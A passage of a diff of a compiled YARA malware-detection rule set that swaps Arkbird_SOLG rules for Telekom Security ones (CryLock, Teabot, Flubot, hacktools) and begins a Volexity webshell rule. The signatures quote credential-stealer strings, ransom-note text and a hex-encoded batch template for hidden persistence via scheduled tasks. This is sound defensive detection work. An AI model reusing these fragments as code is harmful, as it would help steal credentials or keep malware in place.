ff ff 90 48 8d 84 24 80 00 00 00 48 3b f0 74 18 49 83 c9 ff 45 33 c0 48 8d 94 24 80 00 00 00 48 8b ce e8 2a de ff ff 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 b7 dc ff ff 48 8b 5c 24 48 bf }
-		$seq_RegisterEvent = { 40 53 48 83 ec 20 48 83 3d 5a 79 0a 00 08 48 8d 1d 3b 79 0a 00 48 8b cb 48 8d 15 91 01 00 00 48 0f 43 0d 29 79 0a 00 ff 15 93 1d 07 00 48 89 05 44 77 0a 00 48 8b c8 48 85 c0 75 2d 48 83 3d 24 79 0a 00 08 48 0f 43 1d 04 79 0a 00 48 8b d3 ff 15 7b 1d 07 00 48 85 c0 74 62 48 8b c8 ff 15 35 1d 07 00 48 83 c4 20 5b c3 33 c0 c7 05 db 76 0a 00 10 00 00 00 48 89 05 e0 76 0a 00 48 8d 15 cd 76 0a 00 8b 05 17 1c 0a 00 89 05 d5 76 0a 00 ff c0 89 05 09 1c 0a 00 48 c7 05 b2 76 0a 00 02 00 00 00 c7 05 bc 76 0a 00 b8 0b 00 00 ff 15 06 1d 07 00 48 83 c4 20 5b }
+		$internal_name = "fixed_loader64.dll" fullword
+		$string0 = "mail_vault" wide fullword
+		$string1 = "ie_reg" wide fullword
+		$string2 = "outlook" wide fullword
+		$string3 = "user_num" wide fullword
+		$string4 = "cred" wide fullword
+		$string5 = "Authorization: Basic" fullword
+		$string6 = "VaultOpenVault" fullword
+		$string7 = "sqlite3_free" fullword
+		$string8 = "cookie.tar" fullword
+		$string9 = "DllRegisterServer" fullword
+		$string10 = "PT0S" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and all of ($s*) and 2 of ($seq*)
+		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_MAL_Donot_Loader_June_2020_1 : FILE
+rule TELEKOM_SECURITY_Crylock_Binary : FILE
 {
 	meta:
-		description = "Detect loader malware used by APT Donot for drops the final stage"
-		author = "Arkbird_SOLG"
-		id = "ec4cac12-529f-56d2-bbc0-5fe30424b10b"
-		date = "2020-06-22"
-		modified = "2020-06-22"
-		reference = "https://twitter.com/ccxsaber/status/1274978583463649281"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-22/APT_MAL_Donot_Loader_June_2020_1.yar#L3-L22"
+		description = "Detects CryLock ransomware v2.3.0.0"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "5d46adf6-3ea4-5e3d-ac33-1292c076c0df"
+		date = "2021-06-28"
+		modified = "2021-07-08"
+		reference = "TBA"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/crylock/crylock_20210706.yar#L1-L27"
 		license_url = "N/A"
-		logic_hash = "986deffd48c1fb707948b00e1e200fa6538d4c73a32ab89f5119403f9bf0d734"
+		logic_hash = "990be4604c5737383cce1b32dfbf3bc066367d7bf4652e2549730cdeccf1f413"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "1ff33d1c630db0a0b8b27423f32d15cc9ef867349ac71840aed47c90c526bb6b"
 
 	strings:
-		$s1 = "C:\\Users\\spartan\\Documents\\Visual Studio 2010\\new projects\\frontend\\Release\\test.pdb" fullword ascii
-		$s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Edg/81.0.416.68" fullword ascii
-		$s3 = "bbLorkybbYngxkjbb]khbbmgvjgz4k~k" fullword ascii
-		$s4 = "8&8-8X8.959?9Q9h9v9|9" fullword ascii
-		$s5 = "0$0h4h5l5p5t5x5|5" fullword ascii
-		$s6 = "?&?+?1?7?M?T?g?z?" fullword ascii
-		$s7 = "12.02.1245" fullword ascii
-		$s8 = ">>?C?L?[?~?" fullword ascii
-		$s9 = "6*6=6P6b6" fullword ascii
+		$s1 = "how_to_decrypt.hta" ascii
+		$s2 = "UAC annoy and ask admin rights" ascii
+		$s3 = "<%UNDECRYPT_DATETIME%>" ascii
+		$s4 = "<%RESERVE_CONTACT%>" ascii
+		$s5 = "<%MAIN_CONTACT%>" ascii
+		$s6 = "<%HID%>" ascii
+		$s7 = "Get local IPs list" ascii
+		$s8 = "Get password hash" ascii
+		$s9 = "END PROCESSES KILL LIST" ascii
+		$s10 = "CIS zone detected" ascii
+		$s11 = "Launch encryption threads..." ascii
+		$s12 = "FastBlackRabbit" ascii
+		$s13 = "Preliminary password hash calculation" ascii
+		$s14 = "Encrypted:" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 7 of them
+		uint16(0)==0x5a4d and filesize >150KB and filesize <1MB and 8 of ($s*)
 }
-rule ARKBIRD_SOLG_Ran_Egregor_Oct_2020_1 : FILE
+rule TELEKOM_SECURITY_Crylock_Hta : FILE
 {
 	meta:
-		description = "Detect Egregor / Maze ransomware by Maze blocks"
-		author = "Arkbird_SOLG"
-		id = "03d3ee25-cd0c-573e-beca-e4ff4377da9f"
-		date = "2020-10-29"
-		modified = "2023-11-22"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-31/Ran_Egregor_Oct_2020_1 .yar#L1-L21"
+		description = "Detects CryLock ransomware how_to_decrypt.hta ransom note"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "cf6ba6d2-beca-5da0-bb2d-0b8b52418a5e"
+		date = "2021-06-28"
+		modified = "2021-07-08"
+		reference = "TBA"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/crylock/crylock_20210706.yar#L29-L53"
 		license_url = "N/A"
-		logic_hash = "d7d03db002b74d031b725db60e38a46abce564fb090b013aa9ec66376b430000"
+		logic_hash = "3b603a395f872d74d54b98a8ac6e6eb71c3bd0f076b4c834fcb4922e2aaa58b9"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4"
-		hash2 = "af538ab1b8bdfbf5b7f1548d72c0d042eb14d0011d796cab266f0671720abb4d"
-		hash3 = "42ac07c5175d88d6528cfe3dceacd01834323f10c4af98b1a190d5af7a7bb1cb"
-		hash4 = "4139c96d16875d1c3d12c27086775437b26d3c0ebdcdc258fb012d23b9ef8345"
 
 	strings:
-		$x1 = { 45 f4 8b 4d 10 8b 09 0f b7 49 06 39 c8 0f 8d a2 00 00 00 8b 45 e4 83 78 10 00 75 48 8b 45 0c 8b 40 38 89 45 f0 83 7d f0 00 7e 37 31 c0 8b 4d ec 8b 55 e4 03 4a 0c 89 4d e8 8b 4d e8 8b 55 e4 89 4a 08 8b 4d f0 8b 55 e8 89 14 24 c7 44 24 04 00 00 00 00 89 4c 24 08 89 45 d4 e8 9e c6 ff ff 89 45 d0 eb 3a 8b 45 ec 8b 4d e4 03 41 0c 89 45 e8 8b 45 e4 8b 40 10 8b 4d 08 8b 55 e4 03 4a 14 8b 55 e8 89 14 24 89 4c 24 04 89 44 24 08 e8 77 a1 ff ff 8b 4d e8 8b 55 e4 89 4a 08 89 45 cc 8b 45 f4 83 c0 01 89 45 f4 8b 45 e4 83 c0 28 89 45 e4 }
-		$x2 = { 8b 45 f0 83 38 00 0f 86 a0 00 00 00 8b 45 f8 8b 4d f0 03 01 89 45 ec 8b 45 f0 83 c0 08 89 45 e8 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d f0 8b 49 04 83 e9 08 d1 e9 39 c8 73 62 8b 45 e8 0f b7 00 c1 e8 0c 89 45 e0 8b 45 e8 0f b7 00 25 ff 0f 00 00 89 45 dc 8b 45 e0 85 c0 89 45 d0 74 0f eb 00 8b 45 d0 83 e8 03 89 45 cc 74 04 eb 17 eb 17 8b 45 ec 03 45 dc 89 45 e4 8b 45 0c 8b 4d e4 03 01 89 01 eb 02 eb 00 eb 00 8b 45 fc 83 c0 01 89 45 fc 8b 45 e8 83 c0 02 89 45 e8 eb 8c 8b 45 f0 8b 4d f0 03 41 04 89 45 f0 }
-		$x3 = { 8b 45 f0 8b 4d ec 03 01 89 45 e8 8b 45 e8 89 04 24 c7 44 24 04 14 00 00 00 ff 15 38 f0 0b 10 83 ec 08 31 c9 88 ca 83 f8 00 88 55 cf 75 0d 8b 45 e8 83 78 0c 00 0f 95 c1 88 4d cf 8a 45 cf a8 01 75 05 e9 6e 01 00 00 8b 45 f0 8b 4d e8 03 41 0c 89 04 24 ff 15 3c f0 0b 10 83 ec 04 89 45 dc 8b 45 dc b9 ff ff ff ff 39 c8 }
-		$op1 = { 60 8b 7d 08 8b 4d 10 8b 45 0c f3 aa 61 89 45 f0 }
-		$op2 = { 83 7d 08 00 89 45 ec 89 4d e8 89 55 e4 }
-		$op3 = { 89 4d e8 89 55 e4 75 09 c7 45 f0 00 00 00 00 }
-		$op4 = { 75 09 c7 45 f0 00 00 00 00 eb 17 60 }
+		$s1 = "var main_contact =" ascii
+		$s2 = "var max_discount =" ascii
+		$s3 = "<title>CryLock</title>" ascii
+		$s4 = "var discount_date = new Date(" ascii
+		$s5 = "var main_contact =" ascii
+		$s6 = "var hid = " ascii
+		$s7 = "var second_contact = " ascii
+		$s8 = "document.getElementById('main_contact').innerHTML = main_contact;" ascii
+		$s9 = "document.getElementById('second_contact').innerHTML = second_contact;" ascii
+		$s10 = "document.getElementById('hid').innerHTML = hid;" ascii
+		$s11 = "be able to decrypt your files. Contact us" ascii
+		$s12 = "Attention! This important information for you" ascii
+		$s13 = "higher will become the decryption key price" ascii
+		$s14 = "Before payment, we can decrypt three files for free." ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >350KB and (3 of ($op*) or 2 of ($x*))
+		filesize <100KB and 8 of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Fuxsocy_May_2021_1 : FILE
+rule TELEKOM_SECURITY_Android_Teabot : FILE
 {
 	meta:
-		description = "Detect FuxSocy ransomware"
-		author = "Arkbird_SOLG"
-		id = "2420c2fa-bc94-51a6-87ab-4e8d226fdd23"
-		date = "2020-05-09"
-		modified = "2021-05-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/FuxSocy/RAN_FuxSocy_May_2021_1.yara#L1-L19"
+		description = "matches on dumped, decrypted V/DEX files of Teabot"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "9db701bf-be84-5236-97f7-67043cf3ea93"
+		date = "2021-09-14"
+		modified = "2021-09-14"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/teabot.yar#L1-L23"
 		license_url = "N/A"
-		logic_hash = "ab34f95d2b12bdf2d362538e880301542c3308fff427cfb5ee59e9dca89ec033"
+		hash = "37be18494cd03ea70a1fdd6270cef6e3"
+		logic_hash = "5aa7fdb191c36510c7698f3eae40c0b7f15c944b8f60113bbb4e40fc926579b8"
 		score = 75
-		quality = 75
+		quality = 45
 		tags = "FILE"
-		hash1 = "d786355c1b3dc741103873aed46d8ffa3430d113a27482f37f3ffc7c978747f6"
-		hash2 = "43bbfb3389deb3846bba19a8ab2e9c8fd9b581720962b8170d4a63ad816b5804"
-		tlp = "White"
-		adversary = "-"
+		version = "20210819"
 
 	strings:
-		$seq1 = { b8 48 14 00 00 e8 b8 83 00 00 53 55 56 8d 44 24 48 8b e9 50 55 89 54 24 14 33 f6 ff 15 84 02 41 00 8b d8 85 db 0f 84 fa 00 00 00 57 8b cb e8 2b 09 00 00 8b f8 85 ff 0f 84 e7 00 00 00 57 53 56 55 ff 15 8c 02 41 00 8b 1d 78 02 41 00 8d 44 24 18 50 8d 44 24 18 50 68 cc 14 48 00 57 89 74 24 24 89 74 24 28 ff d3 83 7c 24 18 04 0f 82 ab 00 00 00 8b 44 24 10 8b 4c 24 14 c7 44 24 1c 00 15 48 00 c7 44 24 20 14 15 48 00 c7 44 24 24 30 15 48 00 c7 44 24 28 48 15 48 00 c7 44 24 2c 60 15 48 00 c7 44 24 30 80 15 48 00 c7 44 24 34 a0 15 48 00 c7 44 24 38 c0 15 48 00 c7 44 24 3c e0 15 48 00 c7 44 24 40 fc 15 48 00 c7 44 24 44 14 16 48 00 c7 44 24 48 38 16 48 00 ff 74 84 1c 0f b7 41 02 50 0f b7 01 50 8d 44 24 60 68 54 16 48 00 50 ff 15 64 02 41 00 83 c4 14 8d 44 24 50 50 8d 44 24 14 50 8d 44 24 5c 50 57 ff d3 85 c0 74 0d 8b 4c 24 10 33 d2 e8 47 0a 00 00 8b f0 8b cf e8 c9 08 00 00 5f 8b c6 5e 5d 5b 81 c4 48 14 00 00 }
-		$seq2 = { 8d 44 24 50 50 8d 44 24 4c 50 8d 44 24 2c 50 55 ff 15 ec 00 41 00 8b 44 24 14 8b 74 24 18 ff 74 24 68 88 87 57 01 08 00 66 a1 80 4d 41 00 [10] 88 9f 54 01 08 00 c6 87 63 01 08 00 10 89 b7 58 01 08 00 66 89 87 5d 01 08 00 ff 15 6c 00 41 00 0f b6 97 63 01 08 00 03 c0 66 89 87 55 01 08 00 8b 44 24 20 8d 8f 64 01 08 00 88 87 5c 01 08 00 e8 14 2b 00 00 8b 44 24 14 0f b6 c8 0f b7 87 55 01 08 00 83 c1 03 8d 0c c8 89 8f 4c 01 08 00 e8 2e 3a 00 00 8b c8 89 8f 48 01 08 00 85 c9 0f 84 0f 01 00 00 8b 44 24 28 89 41 04 8b 8f 48 01 08 00 8b 44 24 24 89 01 8b 8f 48 01 08 00 8b 44 24 4c 89 41 0c 8b 8f 48 01 08 00 8b 44 24 48 89 41 08 8b 8f 48 01 08 00 8b 44 24 54 89 41 14 8b 8f 48 01 08 00 8b 44 24 50 89 41 10 0f b7 87 55 01 08 00 50 8b 87 48 01 08 00 ff 74 24 6c 83 c0 18 50 e8 b4 b5 00 00 8b 4c 24 6c 33 d2 e8 bd 3b 00 00 8b 4c 24 70 33 d2 89 47 08 e8 af 3b 00 00 0f b6 97 63 01 08 00 89 47 0c 8b 44 24 78 89 87 28 02 08 00 8b 44 24 44 89 47 04 8d 87 44 00 08 00 50 8d 8f 64 01 08 00 89 2f e8 4d 24 00 00 89 b7 18 02 08 00 8b 87 c5 01 08 00 f7 a7 58 01 08 00 8b c8 0f b6 87 5c 01 08 00 8b f2 99 83 c4 10 ff b7 28 02 08 00 03 c8 13 f2 03 0d 80 4d 41 00 13 35 84 4d 41 00 89 8f 1c 02 08 00 89 b7 20 02 08 00 ff 15 c4 00 41 00 53 57 ff 74 24 44 55 ff 15 e8 00 41 00 }
-		$seq3 = { 57 68 ff 01 0f 00 ff 75 08 8b fa 51 32 db ff 15 0c 00 41 00 8b f0 85 f6 74 76 32 ff eb 52 84 ff 75 65 33 c0 50 50 50 50 50 50 50 6a ff 6a 04 6a ff 56 ff 15 10 00 41 00 8b 45 c0 83 f8 01 74 2c 76 2e 83 f8 03 76 1a 83 f8 04 75 24 8d 45 e0 50 6a 01 56 ff 15 18 00 41 00 }
-		$seq4 = { 6a ff 8d 45 fc 50 8d 45 08 50 8d 45 f8 50 ff 33 33 ff 89 7d f8 89 7d 08 89 7d fc ff 15 c8 00 41 00 85 c0 8b 45 08 0f 95 c1 85 c0 74 59 56 }
-		$seq5 = { 8b 45 08 56 ff 70 08 ff 15 dc 00 41 00 8b ce e8 af 2e 00 00 33 ff 57 ff 75 08 57 ff 33 ff 15 e4 }
+		$dex = "dex"
+		$vdex = "vdex"
+		$s1 = "ERR 404: Unsupported device"
+		$s2 = "Opening inject"
+		$s3 = "Prevented samsung power off"
+		$s4 = "com.huawei.appmarket"
+		$s5 = "kill_bot"
+		$s6 = "kloger:"
+		$s7 = "logged_sms"
+		$s8 = "xiaomi_autostart"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 3 of ($seq*)
+		($dex at 0 or $vdex at 0) and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_APT_Donot_Downloader_May_2021_1 : FILE
+rule TELEKOM_SECURITY_Android_Flubot : FILE
 {
 	meta:
-		description = "Detect the trojan downloader used by Donot group"
-		author = "Arkbird_SOLG"
-		id = "251a809e-9e36-5c46-955f-006531bd9619"
-		date = "2020-05-09"
-		modified = "2021-05-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/Donot/APT_Donot_Downloader_May_2021_1.yara#L1-L20"
+		description = "matches on dumped, decrypted V/DEX files of Flubot version > 4.2"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "d6d1eebc-961f-5032-af04-4c95f364a74d"
+		date = "2021-09-14"
+		modified = "2021-09-14"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/flubot.yar#L1-L19"
 		license_url = "N/A"
-		logic_hash = "df64ab97b74935ce8b73c3854eb81fa1dbd4e59b1e27c43ae9c85b90aaaef6f7"
+		hash = "37be18494cd03ea70a1fdd6270cef6e3"
+		logic_hash = "db22e0890dfad7cb9cb1d18aadb406514e5e8874051aa7f07a4bb93da9db68df"
 		score = 75
-		quality = 75
+		quality = 45
 		tags = "FILE"
-		hash1 = "28aa296bda12f0184564c5f6b46e679f07255aa8df58b861ea17910cdcaa674a"
-		hash2 = "03730cdc23a3d10c8752ad1464ff2e68a64c69f8310b0ceea4d52b1db0215dfc"
-		hash3 = "edd590c343570f7576aca83da58967e058585c6ba861682dca2fc987c713ee3a"
-		tlp = "White"
-		adversary = "Donot"
+		version = "20210720"
 
 	strings:
-		$seq1 = { 65 63 68 6f 20 6f 66 66 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 64 65 6c 20 2f 66 20 25 73 20 0a 20 53 45 54 20 2f 41 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 20 0a 20 53 45 54 20 2f 41 20 52 41 4e 44 3d 25 25 52 41 4e 44 4f 4d 25 25 20 31 30 30 30 30 20 2b 20 32 20 0a 20 65 63 68 6f 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 2d 25 25 52 41 4e 44 25 25 20 3e 3e 20 25 73 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 6f 62 55 70 64 61 74 65 20 2f 66 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 32 30 20 2f 66 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 74 72 20 25 73 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 31 30 20 2f 66 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 74 72 20 25 73 20 0a 20 6d 6f 76 65 20 25 25 41 50 50 44 41 54 41 25 }
-		$seq2 = { c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ?? 42 [2] e8 ?? 01 00 00 83 ec 14 [0-3] c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 [2-5] 24 04 [0-3] 89 04 24 e8 ?? 01 00 00 83 ec 18 89 [1-9] c7 44 24 04 ?? 43 [2] c7 04 24 ?? 61 [2] e8 ?? 08 00 00 }
-		$s1 = "VirtualQuery failed for %d bytes at address %p" fullword ascii
-		$s2 = { 25 73 5c [1-14] 2e 62 61 74 }
-		$s3 = { 25 73 5c [1-14] 25 }
+		$dex = "dex"
+		$vdex = "vdex"
+		$s1 = "LAYOUT_MANAGER_CONSTRUCTOR_SIGNATURE"
+		$s2 = "java/net/HttpURLConnection;"
+		$s3 = "java/security/spec/X509EncodedKeySpec;"
+		$s4 = "MANUFACTURER"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and all of ($seq*) and 2 of ($s*)
+		($dex at 0 or $vdex at 0) and 3 of ($s*)
 }
-rule ARKBIRD_SOLG_APT_Lazarus_HTA_Apr_2021_1 : FILE
+rule TELEKOM_SECURITY_Get_Windows_Proxy_Configuration : CAPABILITY HACKTOOL
 {
 	meta:
-		description = "Detect HTA with the fake picture header as decoy used by Lazarus"
-		author = "Arkbird_SOLG"
-		id = "1a57251e-f0fb-541c-bf8b-f1afecf7f1c7"
-		date = "2021-04-27"
-		modified = "2021-04-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-27/Lazarus/APT_Lazarus_HTA_Apr_2021_1.yara#L1-L21"
+		description = "Queries Windows Registry for proxy configuration"
+		author = "Thomas Barabosch, Deutsche Telekom Security"
+		id = "b67b0b70-a95f-5c65-a522-ef4f41e36159"
+		date = "2022-01-14"
+		modified = "2023-12-12"
+		reference = "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-ie-clientnetworkprotocolimplementation-hklmproxyserver"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L44-L57"
 		license_url = "N/A"
-		logic_hash = "40c2e5b662d1999c3ae5be97604bb9ebc809a383d66331cb4b385666ce55be2a"
+		logic_hash = "db52782a56d42f6e460466ea46993490bbbceeb7422d45211f064edb2e37a8eb"
 		score = 75
-		quality = 63
-		tags = "FILE"
-		hash1 = "888cfc87b44024c48eed794cc9d6dea9f6ae0cc3468dee940495e839a12ee0db"
-		tlp = "white"
-		adversary = "Lazarus"
+		quality = 70
+		tags = "CAPABILITY, HACKTOOL"
 
 	strings:
-		$s1 = { 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e }
-		$s2 = { 5b 27 4f 70 65 6e 54 65 78 74 46 69 6c 65 27 2c 27 43 72 65 61 74 65 54 65 78 74 46 69 6c 65 27 }
-		$s3 = { 5b 27 70 75 73 68 27 5d }
-		$s4 = { 28 27 4d 5a 27 29 2c 65 5b 27 43 6c 6f 73 65 27 5d 28 29 }
-		$s5 = { 5b 27 73 68 69 66 74 27 5d 28 29 }
-		$s6 = { 3b 76 61 72 20 64 61 74 61 3d 5b }
-		$s7 = { 62 3d 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 }
+		$a = "Software\\Microsoft\\Windows\\Currentversion\\Internet Settings" ascii wide
+		$b = "ProxyEnable" ascii wide
+		$c = "ProxyServer" ascii wide
 
 	condition:
-		( uint16(0)==0x4d42 or uint16(0)==0xd8ff or uint32(0)==0x474e5089 or uint32(0)==0x38464947) and filesize >20KB and 5 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_Ran_ELF_EXX_Nov_2020_1 : FILE
+rule TELEKOM_SECURITY_Cn_Utf8_Windows_Terminal : CAPABILITY HACKTOOL
 {
 	meta:
-		description = "Detect EXX variant ELF ransomware"
-		author = "Arkbird_SOLG"
-		id = "fe85d480-317a-51c3-a817-fc9034e2944f"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/EXX/Ran_ELF_EXX_Nov_2020_1.yar#L1-L28"
+		description = "This is a (dirty) hack to display UTF-8 on Windows command prompt."
+		author = "Thomas Barabosch, Deutsche Telekom Security"
+		id = "a1beee71-c526-58fb-a255-dba55ef7535b"
+		date = "2022-01-14"
+		modified = "2023-12-12"
+		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L59-L71"
 		license_url = "N/A"
-		logic_hash = "4508a0cf79d0d85959009f59e1471cbf123fa24f5c21da5801e91ed0bbe8a085"
-		score = 50
-		quality = 73
-		tags = "FILE"
-		level = "experimental"
-		hash1 = "cb408d45762a628872fa782109e8fcfc3a5bf456074b007de21e9331bb3c5849"
+		logic_hash = "4c91280c3d6d3b48c4ee11bf3d0c2baecee1368fbf3951c0a3bf386454c557cf"
+		score = 40
+		quality = 20
+		tags = "CAPABILITY, HACKTOOL"
+
+	strings:
+		$a = " chcp 65001 " ascii wide
+
+	condition:
+		$a
+}
+rule TELEKOM_SECURITY_Vatet_Loader_Rufus_Backdoor : DEFRAY777
+{
+	meta:
+		description = "Detects backdoored Rufus with Vatet Loader of Defray777"
+		author = "Thomas Barabosch, Deutsche Telekom Security"
+		id = "1f6fa228-300c-59de-b89c-3cbdce1b6374"
+		date = "2022-03-18"
+		modified = "2022-03-18"
+		reference = "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/defray777/vatet_loader.yar#L1-L27"
+		license_url = "N/A"
+		logic_hash = "3767398112759689078f992eb272cfec3e59f6d9ca30f8da68c2053e1217fd18"
+		score = 75
+		quality = 20
+		tags = "DEFRAY777"
+		sharing = "TLP:WHITE"
+		hash_1 = "c9c1caae50459896a15dce30eaca91e49e875207054d98e32e16a3e203446569"
+		hash_2 = "0cb8fc89541969304f3bf806e938452b36348bdd0280fc8f4e9221993e745334"
+		in_memory = "False"
+
+	strings:
+		$payload_decryption = { 66 0F F8 C1 66 0F EF C2 66 0F F8 C1 }
+		$mz = "MZ" ascii
+		$rufus = "https://rufus.ie/" ascii
+
+	condition:
+		$mz at 0 and $payload_decryption and $rufus
+}
+/*
+ * YARA Rule Set
+ * Repository Name: Volexity
+ * Repository: https://github.com/volexity/threat-intel
+ * Retrieval Date: 2024-09-01
+ * Git Commit: f5ecc7bce2475e6bd1038a807bca3e313640fdf3
+ * Number of Rules: 91
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * Copyright 2022 by Volexity, Inc.
+
+The 2-Clause BSD License
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ */
+rule VOLEXITY_Webshell_Jsp_Converge : WEBSHELL
+{
+	meta:
+		description = "File upload webshell observed in incident involving compromise of Confluence server."
+		author = "threatintel@volexity.com"
+		id = "2a74678e-cb00-567c-a2e0-2e095f3e5ee8"
+		date = "2022-06-01"
+		modified = "2022-06-06"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L1-L15"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
